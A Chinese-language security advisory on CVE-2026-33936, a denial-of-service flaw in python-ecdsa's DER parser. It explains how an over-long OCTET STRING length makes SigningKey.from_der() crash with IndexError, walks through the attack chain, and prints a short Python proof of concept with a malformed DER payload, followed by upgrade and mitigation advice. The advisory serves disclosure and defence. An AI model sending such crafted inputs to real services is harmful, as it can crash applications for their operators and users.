IPBUF安全漏洞报告
English
CVE-2026-33936 CVSS 5.3 中危

CVE-2026-33936: python-ecdsa DER解析拒绝服务漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33936
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
python-ecdsa

相关标签

CVE-2026-33936python-ecdsa拒绝服务DoSDER解析输入验证错误

漏洞概述

python-ecdsa是一个纯Python实现的椭圆曲线密码学库。在0.19.2版本之前,其底层DER解析函数存在缺陷。当处理特制的DER输入时,库会接受长度声明大于实际缓冲区大小的截断数据。这会导致`SigningKey.from_der()`抛出内部的`IndexError`异常,而非预期的`UnexpectedDER`。如果应用程序解析不受信任的DER私钥且未妥善处理异常,可能会导致服务崩溃,从而引发拒绝服务攻击。

技术细节

该漏洞源于python-ecdsa库在处理DER(Distinguished Encoding Rules)编码时的逻辑缺陷。具体来说,`ecdsa.der.remove_octet_string()`函数在解析OCTET STRING类型数据时,未严格验证编码长度字段与实际可用缓冲区大小的一致性。攻击者可以构造一个恶意的DER格式私钥,其中包含一个OCTET STRING,其声明的长度(例如4096字节)远大于实际提供的数据长度(例如3字节)。当应用程序调用`SigningKey.from_der()`解析此恶意数据时,底层解析逻辑会尝试读取超出缓冲区边界的数据,从而触发Python内部的`IndexError`异常。由于该异常属于内部错误,并非DER解析模块预期的受控异常,上层应用若仅针对特定异常进行处理,将无法捕获此错误,导致程序意外终止。

攻击链分析

STEP 1
步骤1
攻击者构造特制的DER数据,其中包含长度声明与实际数据大小不符的OCTET STRING(例如声明长度4096字节,实际仅3字节)。
STEP 2
步骤2
攻击者将此恶意DER数据发送至目标应用程序,应用程序尝试将其作为私钥进行解析。
STEP 3
步骤3
应用程序调用受影响版本的`ecdsa.SigningKey.from_der()`函数处理该数据。
STEP 4
步骤4
底层解析函数`remove_octet_string()`触发`IndexError`异常,未被上层应用捕获,导致程序崩溃,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import ecdsa from ecdsa import der # Construct a malicious DER input to trigger the IndexError # DER structure: SEQUENCE { INTEGER (0), OCTET STRING (declared length 10, actual 1 byte) } # 30 06: SEQUENCE of length 6 # 02 01 00: INTEGER 0 # 04 0A 41: OCTET STRING tag (04), length (0A = 10), data (41 = 1 byte) malformed_der = bytes.fromhex("3006020100040A41") try: # Attempt to parse the malformed DER as a signing key key = ecdsa.SigningKey.from_der(malformed_der) print("Parsing succeeded (unexpected)") except (der.UnexpectedDER, ValueError) as e: print(f"Expected exception caught: {type(e).__name__}") except IndexError as e: print(f"Vulnerability triggered! Internal exception: {type(e).__name__}: {e}")

影响范围

python-ecdsa < 0.19.2

防御指南

临时缓解措施
建议立即将python-ecdsa更新至修复版本0.19.2。对于无法立即升级的环境,应在代码中针对`SigningKey.from_der()`等解析函数添加try-except块,捕获`IndexError`以防止应用崩溃,同时应避免直接解析来源不可信的DER格式私钥。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表